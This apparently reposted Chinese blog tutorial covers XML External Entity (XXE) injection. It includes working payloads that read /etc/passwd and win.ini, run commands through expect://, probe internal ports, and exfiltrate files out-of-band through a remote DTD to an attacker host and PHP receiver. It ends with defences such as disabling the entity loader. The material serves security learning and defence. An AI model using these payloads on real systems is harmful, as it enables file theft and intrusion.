zoukankan      html  css  js  c++  java
  • 3. XML实体注入漏洞的利用与学习

    XML实体注入漏洞的利用与学习

    前言

    XXE Injection即XML External Entity Injection,也就是XML外部实体注入攻击.漏洞是在对非安全的外部实体数据进行处理时引发的安全问题.
    在XML1.0标准里,XML文档结构里定义了实体(entity)这个概念.实体可以通过预定义在文档中调用,实体的标识符可访问本地或远程内容.如果在这个过程中引入了”污染”源,在对XML文档处理后则可能导致信息泄漏等安全问题

    漏洞利用

    当允许引用外部实体时,通过构造恶意内容,可导致读取任意文件、执行系统命令、探测内网端口、攻击内网网站等危害。

    测试代码

    使用simplexml_load_string函数解析body

    <?php
    $xml = $GET('xml');
    $data = simplexml_load_string($xml);
    print_r($data);
    ?>

    漏洞测试

    漏洞测试方式1

    有回显,直接读取文件

    Payload:

    <?xml version="1.0" encoding="utf-8"?> 
    <!DOCTYPE xxe [
    <!ELEMENT name ANY >
    <!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
    <root>
    <name>&xxe;</name>
    </root>

    windows:

    http://192.168.0.140/xxe1.php?xml=<?xml version="1.0" encoding="utf-8"?>
    <!DOCTYPE xxe [
    <!ELEMENT name ANY >
    <!ENTITY xxe SYSTEM "file:///C:/windows/win.ini" >]>
    <root>
    <name>&xxe;</name>
    </root>

    linux:

    http://192.168.0.100/xml/example1.php?xml=<?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE UserInfo [
    <!ENTITY name SYSTEM "file:
    ///etc/passwd">]>
    <root>&name;</root>

    通常需要把xml后的内容url编码使用

    漏洞测试方式2

    无回显,引用远程服务器上的XML文件读取文件

    将以下1.xml保存到WEB服务器下

    1.xml

    <!ENTITY % a SYSTEM "file:///etc/passwd"> 
    <!ENTITY % b "<!ENTITY % c SYSTEM 'gopher://xxe.com/%a;'>"> %b; %c
    payload:
    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE root [
    <!ENTITY % remote SYSTEM "http://192.168.0.140/1.xml">
    %remote;]>

    漏洞测试方式3

    在主机上放一个接收文件的php (get.php):

    <?php
    file_put_contents('01.txt', $_GET['xxe_local']);
    ?>

    1.xml内容:

    <!ENTITY % payload    SYSTEM     "php://filter/read=convert.base64-encode/resource=file:///C:/windows/win.ini">
    <!ENTITY % int "<!ENTITY % trick SYSTEM 'http://192.168.0.140/get.php?xxe_local=%payload;'>"> %int; %trick;

    这个XML,他引用了外部实体 C:/windows/win.ini 作为payload的值,然后又将payload拼接到 http://192.168.0.140/get.php?xxe_local=%payload;,进行HTTP请求。

    接收到请求的get.php就将这个文件内容保存到01.txt了,形成了一个文件读取的过程。

    发包过去后,就会请求1.xml,解析这个xml造成XXE攻击,读取 C:/windows/win.ini 并进行base64编码后传给get.php,最后保存到主机上

    测试payload:

    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE root [
    <!ENTITY % remote SYSTEM "http://192.168.0.140/1.xml">
    %remote;]>

    01.txt会保存要读取文件的base64编码

    XXE 危害

    • 读取任意文件
    • 执行系统命令
    • 探查内网端口
    • 攻击内网网站

    读取任意文件

    <?xml version="1.0" encoding="utf-8"?> 
    <!DOCTYPE xxe [
    <!ELEMENT name ANY >
    <!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
    <root>
    <name>&xxe;</name>
    </root>

    执行系统命令

    在安装expect扩展的PHP环境里执行系统命令,其他协议也有可能可以执行系统命令

    <?xml version="1.0" encoding="utf-8"?> 
    <!DOCTYPE xxe [
    <!ELEMENT name ANY >
    <!ENTITY xxe SYSTEM "expect://id" >]>
    <root>
    <name>&xxe;</name>
    </root>

    探测内网端口

    <?xml version="1.0" encoding="utf-8"?> 
    <!DOCTYPE xxe [
    <!ELEMENT name ANY >
    <!ENTITY xxe SYSTEM "http://127.0.0.1:80" >]>
    <root>
    <name>&xxe;</name>
    </root>

    攻击内网网站

    结合其他的漏洞比如:struts2

    <?xml version="1.0" encoding="utf-8"?> 
    <!DOCTYPE xxe [
    <!ELEMENT name ANY >
    <!ENTITY xxe SYSTEM "http://127.0.0.1:80/payload" >]>
    <root>
    <name>&xxe;</name>
    </root>

    防御XXE攻击

    方案一、使用开发语言提供的禁用外部实体的方法

    PHP:
    libxml_disable_entity_loader(true);
    
    JAVA:
    DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
    dbf.setExpandEntityReferences(false);
    
    Python:
    from lxml import etree
    xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

    方案二、过滤用户提交的XML数据

             关键词:<!DOCTYPE和<!ENTITY,或者,SYSTEM和PUBLIC。

    Reference

    未知攻焉知防——XXE漏洞攻防
    vulhub/php_xxe/
    Z-BLOG Blind-XXE造成任意文件读取

  • 相关阅读:
    [BZOJ4553][TJOI2016&HEOI2016]序列
    树套树乱讲的代码
    树套树乱讲
    [Luogu4174][NOI2006]最大获益
    [BZOJ3879]SvT
    [BZOJ3611][HEOI2014]大工程
    [BZOJ1501][NOI2005]智慧珠游戏
    [BZOJ1499][NOI2005]瑰丽华尔兹
    [BZOJ3460] Jc的宿舍
    [HDU4812]D Tree
  • 原文地址:https://www.cnblogs.com/bmjoker/p/9452349.html
Copyright © 2011-2022 走看看